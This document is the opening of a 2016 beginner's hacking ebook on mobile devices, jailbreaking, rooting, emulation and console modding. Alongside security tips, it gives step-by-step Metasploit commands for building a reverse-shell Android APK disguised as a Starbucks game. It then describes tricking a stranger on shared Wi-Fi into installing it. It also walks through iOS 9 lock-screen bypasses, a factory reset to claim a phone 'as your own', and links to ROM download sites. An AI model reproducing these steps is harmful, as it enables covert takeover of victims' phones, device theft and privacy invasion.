Hacking University: Mobile Phone & App

Hacking And Complete Beginners Guide to

Learn Linux

Hacking Mobile Devices, Tablets, Game Consoles, Apps

and Precisely Learn and Conquer the Linux Operating
System

Series: Hacking Freedom and Data Driven (Sophomore

& Senior)

By Isaac D. Cody
QUICK TABLE OF CONTENTS

This book will contain 2 manuscripts from the Hacking Freedom and Data
Driven series. It will essentially be two books into one.

Hacking University Sophomore Edition will cover hacking mobile devices,

tablets, game consoles, and apps.

Hacking University Senior Edition covers a everything you need to know about
Linux

Both books are for intended for beginner’s and even those with moderate
experience with Hacking Mobile Devices and with Linux.
 Hacking University: Sophomore Edition

Essential Guide to Take Your Hacking Skills

to the Next Level. Hacking Mobile Devices,
Tablets, Game Consoles, and Apps. (Unlock
your Android and iPhone devices)

Series: Hacking Freedom and Data Driven Volume 2

By Isaac D. Cody
Copyright 2016 by Isaac D. Cody - All rights reserved.

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Table of Contents

Introduction

History of Mobile Hacking

Security Flaws in Mobile Devices

Unlocking a Device from its Carrier

Securing your Devices

Modding Jailbreaking and Rooting

Jailbreaking iOS

Rooting Android

Risks of Mobile Hacking and Modification

Modding Video Game Consoles

NES

PlayStation

PS2

PS3
 Xbox

Xbox 360

What to do with a Bricked Device

PC Emulators

Conclusion
Introduction

Thank you for downloading the book “Hacking University: Sophomore Edition”. If you are
reading this, than either you have already completed “Hacking University: Freshman Edition” or you
believe that you already have the hacking skills necessary to start at level 2. This eBook is the definitive
guide for building your hacking skill through a variety of exercises and studies.

As explained in the previous book, hacking is not a malicious activity. Hacking is exploring the
technology around us and having fun while doing so. This book’s demonstrations will mainly focus on
“unlocking” or “jailbreaking” a variety of devices, which is in no way illegal. However, performing
unintended servicing or alterations of software and hardware may possibly void any warranties that you
have. Continue at your own risk, as we hold no fault for damage that you cause. However, if you wish to
gain real control over the phones and game consoles that you own, continue reading to see how top hackers
employ their trade.
History of Mobile Hacking

Phone hacking, also known as Phreaking, has a peculiar history dating back to the 1950’s.
Phreaking was discussed at length in the 1st book, so it will only be briefly recalled here. After phone
companies transitioned from human operators to automatic switchboards, a dedicated group of experimental
“phreakers” found the exact frequencies and tones that can “hack” the switchboards. The act grew into a
hobby and culture of individuals who could make long distance calls for free or eavesdrop on phone lines.
When landlines became more complicated and cell phones took over, phreaking died out to be replaced by
computer hacking.

The first cellphone hackers simply guessed the passwords for voicemail-boxes because the cell
phone owners rarely ever changed their PIN from the default. With a simple number such as “0000” or
“1234” as a passcode, hackers can effortlessly gain access to the voicemail-box and can listen in on any
message.

Another technique, known as “spoofing”, allows an attacker to change the number that shows on
the caller-ID. By impersonating a different number, various attack strategies with social engineering
possibilities are available.

With the advent of flip-phones mobile devices became smaller and more efficient. Although some
dedicated hackers could flash new ROMs onto stolen phones or read text messages with complicated
equipment, the early cell phones did not have too much sensitive data to steal. It wasn’t until phones
became more advanced and permanently tied to our online life that cell phone hacking became a lucrative
field.

With the early 2000’s Blackberry phones and the later 2000’s iPhones advancing cellular
technology to be on par with personal computers, more of our information was accessible from within our
pockets. Security is often sacrificed for freedom and ease-of-use, so hackers were able to exploit the weak
link of mobile technology fairly easily.
 How are hackers able to break into the mini-computers in our pockets? Through mostly the same
techniques that hackers use to break into regular desktop PCs- software vulnerabilities, bugs, social
engineering, and password attacks.

Most mobile hacks are low-level stories of celebrities getting their private pictures stolen or risqué
messages being leaked. Typically these attacks and hacks come about because of the technological
ineptitude of celebrities and their less-than-best security habits. Every once in a while, though, the spotlight
will shine upon big-name jobs, such as Hillary Clinton’s email server leaks, or Edward Snowden and his
disclosure of classified government information. Events like these show just how critical security is in all
facets of digital life- and a person’s phone should never be the device that facilitates a hacking attack on
them.

Perhaps the most widely discussed phone hack in recent news would be the San Bernardino
terrorist attack of 2015 and the resulting investigation. After a couple killed 16 and injured 24 more in the
California town, both assailants were killed in the aftermath and an investigation began of the two’s
background. Farook, one of the shooters, had a county-issued iPhone 5C that investigators believed would
contain additional evidence surrounding the attacks. Additionally, having access to the device would mean
that the FBI could investigate any communications into and out of the phone, possibly revealing any active
terrorist groups or influences.

However, the iPhone was password protected and up to date with iOS’s advanced security features
that guaranteed the government could not access the contents of the phone. The NSA, FBI, and other
government groups could not break the protection, so they demanded Apple provide a backdoor in iOS for
the FBI to access data. Apple refused, stating such a backdoor would provide hackers, viruses, and
malware a vector through which to target all iOS devices indiscriminately.

Tensions ramped up between the FBI and Apple, but Apple stood its ground long enough for the
government to seek help elsewhere. Finally on March 28th, 2016, the phone was cracked by 3rd party group
of hackers for a million US dollars. How the group successfully broke the unbreakable is not fully known,
but it is believed that a zero-day vulnerability (a vulnerability that nobody knew about) was used to gain
access to the iOS.
 The whole scenario showed that the government is not above civilian privacy- they will use all
resources at their disposal to gain access to our devices. While most agree that the phone needed to be
unlocked as a matter of national security, it still holds true that if Apple were to comply with the
government than groups like the NSA and FBI would have direct links to all iOS devices and their data (a
clear breach of trust). Mobile phone security will continue to be a hot issue in the coming years, so learning
how to protect yourself by studying how hackers think will save you in the long run.
Security Flaws in Mobile Devices

Mobile devices including phones and laptops are especially vulnerable to the common IT
problems. However the portability of the handy devices only amplifies the variety of attack vectors. Wi-Fi
points often exist in coffee shops, public eateries, and libraries. Free and open Wi-Fi is always helpful,
except they open up mobile devices to data interception and “man-in-the-middle” attacks.

For example, say a hacker creates a public Wi-Fi point. By naming it something inconspicuous
such as “Starbucks free Wi-Fi”, people will be sure to connect with their phones and laptops. At this point,
the hacker has installed Kali Linux (refer to “Freshman Edition” for more info) and also connected to the
compromised internet. They run a packet capture program and steal online banking information in real time
while the victims thinks nothing is wrong. Security minded individuals should always remember that open
Wi-Fi hotspots are dangerous, and they should only ever be connected to for simple browsing or with a
VPN running.

Social engineering plays a large part in mobile hacking as well. Phone users usually forget that phones
can get viruses and malware just as PCs can, so the user is often off-guard and willing to click links and
download Trojan horses when browsing from their phone. The following demonstration (courtesy of
http://wonderhowto.com) takes advantage of an Android device on the same network (we’re in a Starbucks)
and gives control to the hacker.

1. Start a laptop with Kali Linux and the metasploit application installed.

2. Find out your IP address with ifconfig in a terminal.

3. Type this command- msfpayload android/meterpreter/reverse_tcp LHOST=(your IP)

LPORT=8080 R > ~/Desktop/starbucksgames.apk which will create an application
 on the desktop that contains the exploit.

4. Type msfconsole to start metasploit’s console.

5. In the new console, type use exploit/multi/handler

6. Then type set payload android/meterpreter/reverse_tcp

7. set lhost (Your IP)

8. set lport 8080

9. Now you’ll need to deliver the exploit to your victim. You could come up to them and
ask “hey, have you tried Starbuck’s free game app for Android? It’s pretty fun”. With
their permission, you could email them the application. When they download and start
it on their phone, return to your laptop and type exploit into the metasploit console.
The two devices will communicate and you will be given control over parts of the
phone.

The lesson learned is to never install any app that seems strange or comes from an irreputable source.
Later in the book, especially when talking about jailbreaking and rooting, we will install lots of “unverified”
applications. Ultimately there is no real way to know if we are installing a legitimate app or a Trojan horse
like above. When it comes to unofficial applications, you must trust your security instincts and only install
from trusted sources.
 Heartbleed is a famous 2014 OpenSSL bug that affected half a million web servers and also hit nearly
50 million Android devices. The vulnerability allowed hackers to read data stored in memory such as
passwords, encryption keys, and usernames by overflowing the buffer of TLS encryption. So massive was
the impact that devices everywhere needed emergency patches to protect themselves. OpenSSL resolved
the vulnerability as quickly as possible, and Android vendors issued an update that patched the problem.

QuadRooter is an emerging vulnerability detected in Qualcomm chipsets for Android devices. Through
a disguised malicious app, a hacker can gain all device permissions without even requesting them.
Currently it is estimated that 900 million Android devices are vulnerable and at the time of writing not all
carriers have released patches to remedy the issue. Staying safe from QuadRooter means updating as soon
as patches are released and to refrain from installing suspicious applications.

Not just Android is affected by hackers, for the iPhone 6 and 6S running iOS9 versions under 9.3.1 can
have their pictures rifled through even if there is a passcode or fingerprint enabled. Here is the process.
Follow along to see if your phone is vulnerable.

1. Hold the home button to start Siri.

2. Say “Search twitter”.

3. Siri will ask what to search for, respond with “@yahoo.com”, at “@att.net”,
“@gmail.com”, or any other email suffix.

4. Siri will display relevant results, so find a full email address among them. Press firmly
on the address (3D touch) and then press “add new contact”.
 5. By then “adding a photo” to our new “contact”, we have access to the entire picture
library.

This is reminiscent of an earlier iOS9 bug that could totally unlock a phone without a passcode. You
can do this hack on unupdated iOS9.

1. Hold the home button to start Siri.

2. Say “remind me”.

3. Say anything.

4. Click on the reminder that Siri creates.

5. Reminders will launch, long press the one you just created and click “share”.

6. Tap the messages app.

7. Enter any name, then tap on the name to create a new contact.
 8. Tap choose photo, and you can then press the home button to go to the home screen
while unlocked.

Most vulnerabilities such as the two mentioned are patched almost as soon as they are discovered,
which is why they will not work on an updated iOS9.

Finally, there is one final tactic that a hacker can use to break into a phone if they have physical
possession of it. If a hacker really wants to gain access to a mobile device, they can do so at the cost of
deleting all data. Through a factory reset, a hacker will erase absolutely everything on the device including
the password and encryption, but they will be able to use the device or sell it to somebody else.

On an iPhone you can factory reset with the following procedure:

1. Shut off the phone, connect it to a computer with iTunes, and boot the iPhone into
recovery mode (hold power button and home buttons at same time until recovery mode
it shown).

2. On iTunes, click the “restore” button that pops up to delete all data and claim the
phone as your own.

Every Android device has a different button combination to enter recovery mode, so research your
phone’s model. We will demonstrate factory resetting an Android phone with the most common
combination.

1. Shut off the phone and boot it into recovery mode. The power button and volume
down button held together is a common combination.
2. Use the physical buttons (sometimes volume up and down) to navigate the menu.
Select factory reset and confirm.
Unlocking a Device from its Carrier

Phones and other mobile devices are often “locked” to a specific carrier, meaning the device cannot
have cell service from any other company. The locked phone is essentially held hostage by the carrier-
unless you follow through with an unlocking process. Carriers can help you through the process, but you
usually need a good reason to have the device unlocked (traveling to areas without coverage, military
deployment, contract has expired and you are switching). Stolen devices cannot be unlocked. The cheapest
phones you can find on eBay are sometimes stolen, and carriers may refuse to unlock if they have the
device filed as lost or stolen.

It is important to note that phones run on networks (GSM and CDMA) that limit the number of
carriers a phone can operate on- a mobile device’s network cannot be changed at all, but the carrier that
operates on the same network CAN be changed.

Most unlocks require the phone to be fully payed off, have an account in good standing, and you
must not exceed too many unlocks in one year. The process involves gathering all information about the
phone (phone number, IMEI, account information, account holder information), proving you own it, and
requesting the device be unlocked through phone call or internet form. Sadly, some carriers simply cannot
be unlocked. The most popular cell carriers are listed here.

Carrier Unlocking Chart

Carrier Network Alternative Unlock Method Notes

Carriers
ATT GSM T-Mobile, Straight Call 1-800-331- N/A
Talk, Net10 0500 or submit
form online.
Sprint CMDA Voyager, Sprint Call 1-888-211- It is extremely
(Virgin/Boost) Prepaid 4727 or participate difficult to unlock
in an online chat. a Sprint phone,
and most devices
cannot be
unlocked at all.
 T-Mobile GSM ATT, Straight Talk, Call 1-877-746- N/A
Net10 0909 or participate
in an online chat.
Verizon CDMA Newer ones can Call 1-800-711- Some Verizon
operate on GSM, 8300. phones aren’t
others can switch actually locked.
to PagePlus

The networks that different phones operate on actually vary, so you’ll need to do a little research to
find out what networks a phone can run on. The networks listed above are the most popular ones that are
used on different carrier’s devices. The unlock process may prove difficult, but phone unlocking stores
exist that can go through the process for you.
Securing your Devices

As previously explained, older versions of operating systems retain many bugs and exploits.
Especially with phones always install the latest updates as soon as possible.

One of the reasons that the San Bernardino phone was so hard to crack was because of Apple’s
inherent encryption that is enabled when there is a passcode present. What this means for the security-
minded iPhone owner is that having a passcode ensures fantastic protection. So long as a passcode is
enabled, the phone is also encrypted. Simple hacks cannot extract data that is encrypted, and that is why the
FBI had to pay for an alternative exploit.

Readers of the previous book will remember that encryption is the scrambling of data to dissuade
access. Only people with the correct password can decode the jumbled text. Just as with desktops,
encrypting your mobile phone will protect it from unauthorized access. All iPhones (with newer updates)
automatically encrypt when passcode is enabled. Android phones running OS 6.0 and above are encrypted
automatically, but those running older operating systems must enable the feature manually (“settings”,
“security”, “encrypt phone”). Encrypted phones will run slower, but they will be more secure. Even some
text messaging apps (WhatsApp) can encrypt text messages that are sent.

If a hacker or agency were to get possession of the device, though, there is still one trick that gives
opposition the upper hand. Even phones with passcodes and encryption still readily show notifications on
the lock screen by default. Say, for instance, a hacker has possession of the phone and they attempt to login
to your online banking. Without the password, though, the attacker can still send a verification code to the
phone and see it on the lock screen. Nullify lock screen problems by disabling the notifications entirely.
On iDevices go through “settings”, “control center”, and then turn “Access to Lock Screen” off. On an
Android progress through “settings”, “sound and notifications”, then turn “while locked” to off.

Say there is an app installed on your mobile device and you suspect that it may contain a Trojan
horse or have malicious intent. The app may have been installed from a 3rd party, or you may have your
suspicions that Facebook is collecting data on you. Luckily on both iPhone and Androids you can turn off
specific app permissions to restrict the amount of access the app has. Just as when you install an app it
requests permission for, say, microphone, camera, and contacts, you can revoke those permissions at any
time.

Android phones edit permissions (in Marshmallow 6.0) in the settings app. The “apps” tab shows
all apps installed, and by clicking the settings button in the top right you can select “app permissions”. The
next screen shows every accessible part of your Android, such as camera, contacts, GPS, etc… You can
edit each category and change which apps have permission to use them. It is always recommended that
apps only be given the least amount of permissions necessary to perform their tasks, so disable anything
that you don’t use or don’t need.

iOS has debatably better app permission methods, as it only requests use of a peripheral when the
app wants to use it. Security-minded individuals can take the hint that a request for permissions at an odd
time would obviously mean nefarious activity is taking place. Nonetheless app permissions can be taken
away too, through the “privacy” tab in “settings”. Just as with Android, tapping on a category shows all
apps that use that function and give you the option to revoke the permissions.

Malware and viruses still exist for mobile devices. Phones and tablets can be secured by installing
an antivirus app from a trusted source. Some attackers like to disguise Trojan horses as antivirus apps,
though; only download apps that seem reputable and have good reviews. Don’t be against paid antivirus
apps, either, because they are usually the ones that work best.
Modding, Jailbreaking, and Rooting

Contemporary devices are locked down, running proprietary software, and closed to customization.
The act of modding a device to gain additional functionality has a slew of different names; on iPhones the
modding process is commonly known as “Jailbreaking”, on Android phones it is known as “rooting”, and
on video game consoles the action is referred to as just “modding”.

Hackers enjoy modding their hardware to increase the amount of freedom it gives them. For
example, iPhones only have one layout, icon set, set of ringtones, and very few customization settings.
Android phones have decent customization, but some settings are set in stone and unchangeable. Rooting
adds more customization and allows apps to interact with the core filesystem for unique features.
Commonly people root and jailbreak for extra apps and games. Modding game consoles allows them to run
full- fledged operating systems or even play backup games from burned discs. Below we will discuss the
benefits, downsides, and features of modding a few popular devices. Once again it is important to note that
you may void a warranty by altering your gadgets. Also, modding has a small risk of ruining the hardware
permanently (bricking); this makes the technology unusable. We are not responsible for damages, so do the
demonstrations at your own risk and proceed cautiously.
Jailbreaking iOS

The iPhone is conceivably the most “hacked” device because of the limited customizability and
strict app store guidelines that Apple imposes. Some groups love the simplicity of the iPhone in that regard,
though, while adept technological experimenters would rather have full control. If one jailbreaks their
iPhone, they gain access to the minute details usually locked away and unchangeable. Suddenly they can
change the pictures on the icons, how many icons are in a row, animations, what the lockscreen layout looks
like and much more. Furthermore, a jailbroken iPhone is not restricted to just the “Apple Store”, there are
other free app stores that Jailbroken iPhones can download applications from. The range of functions that
these new and “banned” apps bring to you certainly make jailbreaking worth it.

There are a few restrictions though, as Apple tries to deter jailbreaking through patching their iOS.
To see if your iDevice is able to be jailbroken, you will need to know which version of iOS you are running.
From the “Settings” app, tap “General” and then “About”. Note the version number and check
https://canijailbreak.com, a popular website that lists the jailbreakable versions of iOS. Each version of iOS
will have a link to the tool that will help jailbreak the iDevice.

“Tethered” jailbreaks are conditional jailbreaks that require you to boot the iDevice with the help of
a computer. A tethered jailbreak could possibly damage your phone if started without the aid of a PC, and if
your battery dies away from home than the phone is basically unusable even after a charge. This is
obviously not the best solution, so consider if a “tethered” jailbreak is worth the trouble to you. Some
versions of iOS are able to be untethered, though, which is ideal in nearly all situations.

Before starting any jailbreak, make a backup of your phone data just in case something goes wrong
or you wish to return to a normal, unjailbroken phone.

Pangu / Evasi0n
 1. Download the application you need to your computer.

2. Disable the password on your iDevice through the settings menu.

3. Start airplane mode.

4. Turn off “Find my iPhone”.

5. Plug your iDevice into the computer with a USB cable.

6. Press the “Start” button on whichever application you are using.

7. Follow any on-screen prompts. You will need to follow any instructions the
application gives you, including taking action on the desktop computer or iDevice.

8. Your iDevice will be jailbroken.

Each iDevice may or may not be jailbreakable, but generally most iPhones and iPads can be exploited
so long as they are not running the newest iOS update. But attempting to jailbreak a device which is
definitely known to not work may result in a totally bricked device.

A jailbroken iPhone’s best friend is Cydia, the “hacked” appstore. Cydia allows you to add repositories
and download applications. A repository is a download storage that contains applications and
modifications. In order to download a few specific apps, you will have to add the repository to Cydia.
Each version of Cydia may have slightly different default repositories, this process below is how you check
the installed repos and add new ones:

1. Open Cydia and navigate to the “Sources” tab.

 2. The list on the screen is all installed sources.

3. To add a new source, click the “add” button.

4. Type in the source and add it to the list.

Repositories are typically URLs, and you can find them in a variety of places. You can internet search
for “best Cydia repos” or just find an alphabetical list and search for good ones. Be careful of adding too
many sources, though, because that will slow down the Cydia app as it tries to contact each server and get
the app lists regularly. Some of the best sources include:

BigBoss

ModMyI

iSpazio

Telesphoreo Tangelo

Ste

ZodTTD

The previous sources are usually default, but here are some that you might have to add manually:

iHacksRepo (http://ihacksrepo.com)

SiNful (http://sinfuliphonerepo.com)
 iF0rce (http://apt.if0rce.com)

InsanelyiRepo (http://repo.insanelyi.com)

BiteYourApple (http://repo.biteyourapple.net)

Customizing the icons and colors of iOS is possibly the most used feature of a jailbroken iOS. The two
best apps to change out parts of iOS are Winterboard and Anemone. Search for these two apps within
Cydia and install them. Now you can search through the repositories for a theme you want to apply.
Winterboard themes in particular can be entire cosmetic changes that replace every bit of the iOS with new
colors, content, and icons. For a new set of icons only, just search for icon packs.

Apps that change the look of iOS are aesthetically pleasing, but they can often conflict and cause bugs
within the operating system. Some themes and icon sets may crash apps or cause the phone to restart
occasionally. This is an unfortunate side effect of compatibility and newer developers with poor code, so
use themes at your discretion.

There are too many Cydia apps to count, so here is a short list of a few popular ones and why you
should consider downloading them.

iCaughtU takes a snapshot when your device’s passcode is entered incorrectly. Catch
snoopers and thieves in the act.

iFile allows you to actually interact with the files on your iDevice. This is a feature
built into Android that is mysteriously missing in iOS.
 Tage/Zephyr are two apps that allow customization of multitasking gestures. You can
make, say, swiping in a circle launch your text messages to save time. Tage is the
newest app, but older devices may need to run Zephyr.

Activator allows you to launch apps or start iOS features with buttons such as triple
tapping home or holding volume down.

TetherMe creates a wireless hotspot without having to pay your carrier’s fee for doing
so.

The app possibilities are endless. You can take hours just searching through Cydia to find your favorite
tweaks and modifications. Once again be warned that installing too many may bog down iOS and cause it
to crash, so install sparingly.

Another benefit to jailbreaking comes about through the games that can be played. While there are a
few game “apps” that are available for download through Cydia, the main attraction for gamers are certainly
emulators. Emulators are apps that imitate game consoles so their games can be played on iOS, usually for
free. The process to play emulated games is somewhat difficult, but major steps will be explained below.
Please note that the steps will vary as per emulator, game, and device.

1. Firstly, we will need to download an emulator. We want to play a Sony Playstation 1

game so we are going to download “RetroArch” from Cydia.

2. The source may or may not be included on your specific device, so search for
“RetroArch”. If it does not show, add the source
http://buildbot.libretro.com/repo/cydia or possibly http://www.libretro.com/cydia,
restart the app and search again.
 3. Download and install RetroArch.

4. Launch the app, navigate to “Online Updater”, and update every entry starting from the
bottom.

5. When you get to “Core Updater”, update “Playstation (PCSX ReARMed)

[Interpreter]”. RetroArch is downloading the actual emulator that you will use to play
PS1 games here.

6. Go back to the main menu, “Load Core”, then select the Playstation entry that we just
downloaded.

Now we need to obtain a ROM (game file). ROMs are digital backups of the games we play. There is
nothing illegal about putting your PS1 game CD into your computer and making an .iso backup with a tool
like PowerISO (http://poweriso.com) or IMGBurn (http://www.imgburn.com). Basically you install one of
the aforementioned programs, launch it, insert your PS1 disc into the CD drive, and then create an .iso file
with the program. Finally, with a PC program such as iFunBox (http://www.i-funbox.com/), you can
transfer that .iso onto your iOS device.

The above process is fairly confusing, and hackers usually want to emulate games they don’t already
own. An astute hacker can download a ROM straight from the internet to their iOS device, but the legality
of this action varies depending on country and state. We do not condone illegally downloading ROMs, but
the process must be explained for educational purposes. Some websites such as CoolROM
(http://coolrom.com), romhustler (http://romhustler.com), and EmuParadise (http://emuparadise.me) offer
PS1 rom downloads for free, and a curious individual can search there for just about any ROM game they
want. After downloading the file, another app such as iFile is needed to place the downloaded ROM in the
correct folder. Install iFile from Cydia, navigate to where your browser downloads files (it varies based on
browser, but try looking in var/mobile/containers/data/application to find your browser’s download path).
Copy the file, then navigate to /var/mobile/documents and paste it there.
 Lastly after the long process restart RetroArch, tap “Load Content”, “Select File”, and then tap the
game’s .iso. You will now be playing the game.

iPhone emulation is difficult. There is no easy way to download ROMs and put them where they need
to be. You must also be careful while searching for ROMs on the internet, because many websites exist
solely to give out viruses to unsuspecting downloaders. Also, the emulators on iPhone are poor compared
to Android, so the above process may not even work well for you. In this case, consider downloading
another PS1 emulator from Cydia. RetroArch is capable of playing a few other systems too, just replace
Playstation steps above with your console of choice. Ultimately, though, if your game crashes or fails to
start there is not much you can do. Consider looking into PC emulation, as it is much easier to emulate old
console games on Windows.

Overall, jailbreaking iOS is a great hacking experience with many new options for iOS devices.
Consider jailbreaking, but be wary of voiding warranties.
Rooting Android

Rooting an Android phone involves mostly the same process as jailbreaking, however since
Android OS runs on a plethora of different phones, tablets, and mini-computers, there is a lot of research
involved in determining if your device is rootable. Generally, older devices have been out longer and are
therefore usually rootable since developers and hackers have had the chance to exploit the technology
more. It is extremely important that you figure out if your device is even rootable to begin with or there is a
great chance of bricking it. One tool we will discuss for rooting is “Kingo Root”, and at the moment you
can check the compatibility list (http://www.kingoapp.com/android-root/devices.htm) to see if your device
is specifically mentioned.

Why might you want to root your Android device? Just as with jailbreaking, rooting grants access
to the intricacies of the operating system. Some apps in the Play store require rooted phones because parts
of the app interact with locked settings in the OS. A few cell phone carriers also block access to features of
Android, and hackers like to root their phones to have the freedom to use their device as it was intended.
The default apps installed on Android devices take up too much room, and they often bog down a device; a
rooted Android can remove default apps. Finally, many hackers are distraught with a Google-based
operating system and the amount of data it collects on the user, so the tech-savvy rooter can “flash” a new
operating system that is free from spyware and Google’s prying eyes.

Once again, make a backup of your device and be prepared to follow directions exactly as to not brick it.
Make doubly sure that you can root your specific device. We’re going to follow the steps for KingoRoot
(https://www.kingoapp.com/), but follow your specific app’s procedure.

1. Download KingoRoot for PC, install and run the application.

2. Plug in your phone via USB cable

 3. Press the “Root Button”

4. Follow any on-screen or on-device prompts. Your phone may restart multiple times.

After rooting, there are a few interesting things you can now do. Firstly, you can delete that obnoxious
and space-hogging bloatware that comes preinstalled on Android. Second, you are now free to use
whatever features of the device that you like. For example, newer Galaxy phones have Wi-Fi hotspot
tethering built-in, but some carriers lock the feature behind a price that you must pay monthly. With a
rooted Galaxy, you are free to download apps (Barnacle Wi-Fi Tether on Play Store) that do the tethering
for you and without asking the carrier for permission.

There is no “Cydia” equivalent for Android rooting, because you can download and install .apk files
from anywhere. By just searching on the internet for Android .apk files, you can find whole websites
(https://apkpure.com/region-free-apk-download) dedicated to providing apps for Android. The only change
you need to make to your device to enable installation of .apk files is to enter the “settings” and tap the
“security” tab. Check the box “allow installation of apps from sources other than the Play Store” and close
settings. Now you can download any .apk and install it, most of which you might not need to be rooted for.

Rooting provides apps with additional control over the operating system, any many apps that you may
have tried to download form the Play Store claim that root is required in order for full functionality- those
apps are usable now.

Emulation on Android devices is somewhat easier due to removable SD cards. If you own an SD card
reader, you can transfer .iso files easily with Windows. Emulating games is a great way to play older
console titles, and here is the easiest way on Android OS.

1. Download the ePSXe app. It may not be available in the Play Store, so search on the
internet for an .apk file, then install it.
 2. You will also need PS1 BIOS files. You can rip them from your Playstation console
yourself (http://ngemu.com/threads/psx-bios-dumping-guide.93161/) or find them on
the internet (http://www.emuparadise.me/biosfiles/bios.html). The legality of
downloading BIOS is confusing, so make sure that it is legal to download BIOS
instead of ripping them from your console.

3. Lastly, rip or download the PS1 rom you want to play on your device. See the section
about emulating on iOS for tips on how to rip your own ROMs or obtain other backups
online.

4. Configure ePSXe by pointing it to your BIOS files. Then pick the graphics settings
your device can handle. Navigate to the location of your ROM and launch it to begin
enjoying PS1.

Gaming on an Android is fun, if not difficult due to the onscreen buttons blocking your view of the
games. Android has built-in functionality for wired Xbox controllers that are plugged in via USB port. If
your Android device has a full size USB port, you can just plug the Xbox controller in directly and it will
work. If you have a phone with an OTG (smaller) port, you will need to purchase an OTG to USB female
adapter. With a rooted device the Bluetooth can be taken advantage of fully. The app “SixaxisPairTool”
will pair a PS3 controller for wireless gaming. You’ll just need the app on your phone, the PC version
application on your computer, a PS3 controller, and a cable to connect it to the computer.

1. Connect the controller to the computer via USB cable.

2. Start the SixaxisPairTool program on the PC.

 3. On your Android device, navigate to “Settings”, “About Phone”, and then tap on
“Status”.

4. Copy the “Bluetooth address” from the phone to the “Current Master” box on the PC
application. Click update.

5. Unplug the PS3 controller and turn it on. It should search for a PS3 to sync to, but the
address that is programmed will lead to your Android device. Enjoy the wireless
gaming!

Deep Android customization comes from the Xposed Framework. After installing
(http://repo.xposed.info/module/de.robv.android.xposed.installer), you are free to customize your device
through “modules” (https://www.androidpit.com/best-xposed-framework-modules) that edit the tiniest
specifics of Android. This is the feature that makes Android much more customizable than iOS.

If you can’t get the device to work perfectly to your liking, you can always flash a new operating
system. This procedure is more dangerous than rooting, and each new OS might not be compatible with
your device. As always, do some internet research to find out if your particular device is compatible with
the operating system you are thinking about flashing. CyanogenMod (http://www.cyanogenmod.org/) is a
popular Android variant developed by the original Android team. Some devices can even support a Linux
distro, making for an extremely portable yet functional device. We won’t discuss the specifics of flashing
here, but you can find plenty of tutorials and guides on the websites of the custom OS builds that you find.

There are other great rooted apps, such as those that manage specific permissions (PDroid,
Permissions Denied), and apps that remove ads (AdAway), but these apps are commonly taken down and
blocked by federal governments. The only way to get one of these apps is to find it uploaded on an apk
website, or to use a VPN/Proxy to fake your location as another country.

Conclusively, rooting Android gives almost limitless possibilities. You can truly have complete
control over your device after rooting or flashing a new OS. Be very careful when making modifications,
because there is a great chance of voiding warranty or even bricking the technology. The benefits received,
however, are almost too great for hackers and modders to give up.
Risks of Mobile Hacking and Modification

Hacking on or infiltrating another mobile device falls under the same legal dubiousness as PC and
server hacking- some states and federal governments consider hacking illegal, regardless of whether a
phone or computer is involved.

Remember the hacker’s manifesto, though, where a hacker is benevolent because they are only
curious. Some see carriers and phone manufacturers guilty of restricting access to a device, so hackers
attempt to correct the situation through jailbreaking and modding- making the devices truly their own.

An individual probably will never go to jail for simple modifications of their own devices.
Hackers only void their warranties by jailbreaking and rooting. Bricking is a possibility too, but that is a
personal consequence and not a legal one.

Tampering with other people’s devices without permission could be dangerous and illegal, though,
and many courts will consider it an invasion of privacy. Hackers must always protect themselves with the
same strategies laid out in the previous book (VPN, proxies, hiding identity, using “burner” devices, TOR,
etc…).

Overall, so long as hackers are ethical and proceed with benevolent intent, there are not too many
risks involved with experimentation. Large profile crimes will not go unnoticed, however. And no matter
how skillfully a hacker can protect themselves, as seen by the San Bernardino incident, if the crime is large
enough than governments will assign large amounts of resources to oppose the hacker. Hack with caution
and always stay ethical.
Modding Video Game Consoles

Video game consoles have been modded since the beginning of living room entertainment. In the
NES era, some unlicensed companies produced games by flashing their software onto empty cartridges and
bypassing copy-protection. Modding became the norm for subsequent consoles as well, as many readers
might remember tales of PlayStations that could play burned discs, or Wiis that could read games from SD
cards. If the reader has never had the pleasure of seeing a hacked and modded console in person, I assure
them that it is a marvel of hacking knowledge and skill. Just about every game console can be altered in
some way that improves its function, and this chapter will go through some of the popular modifications
and how to perform them. For reference there are two types of mods- hardmods and softmods. Hardmods
are nearly irreversible physical changes to a console such as those that involve soldering modchips.
Software are mods to the software of a console, such as PS2’s FreeMCBoot memory card hack.

Most console hacks require additional components, soldering proficiency, or specific software.
Note that a twitchy hand or missed instruction can break a very expensive console, so ensure that you can
complete the modification without error before attempting. There are websites and people that can perform
the mods for you for a fee just in case it seems too complex, so weigh your options and pick what you feel
the most comfortable with.

NES

While most people grew up playing a NES, there is no doubt that the console is extremely difficult
to play on modern LCD and LED televisions. Either the new televisions do not have the needed hookups,
or the quality looks awful traveling through antiquated wires and inefficient graphics chips. Luckily there
exists a mod to enable the NES to output video and audio through HDMI- a huge step up that increases the
graphical quality of the old console.

https://www.game-tech.us/mods/original-nes/ contains a $120 kit (or $220 for installation too) that
can be soldered to a working NES.
 Such is the case with most mods for the NES and other older consoles. Daughterboards or
additional components have to be bought and soldered accordingly to increase functionality. Revitalizing
older consoles with modding is a fun pastime that many hackers enjoy.

PlayStation

A modchip is a piece of hardware with a clever use. In the original PlayStation 1, a modchip can be
installed that allows you to play burned discs. This means that a hacker can download a ROM of a game
off of the internet, burn it to a CD, and then be able to play it on the original hardware without trouble and
without configuring difficult emulators. Modchips work by injecting code into the console that fools it into
thinking that the inserted disc has successfully passed disc copy protection. Thus a modchip needs to be
soldered to the motherboard. On the PlayStation it is a fairly easy process.

1. You will need a modchip corresponding to your PS1 model number. http://www.mod-
chip.net/8wire.htm contains the most popular modchip- make sure your SCPH matches
the compatible models. (We will be using the 8 wire mod.)

2. Disassemble the PS1, take out all the screws, remove the CD laser, remove everything
and get the bare motherboard onto your soldering station. Take pictures of the
deconstruction process to remind yourself how to put everything back together later.

3. Choose the model number from this list http://www.mod-chip.net/8wiremodels.htm

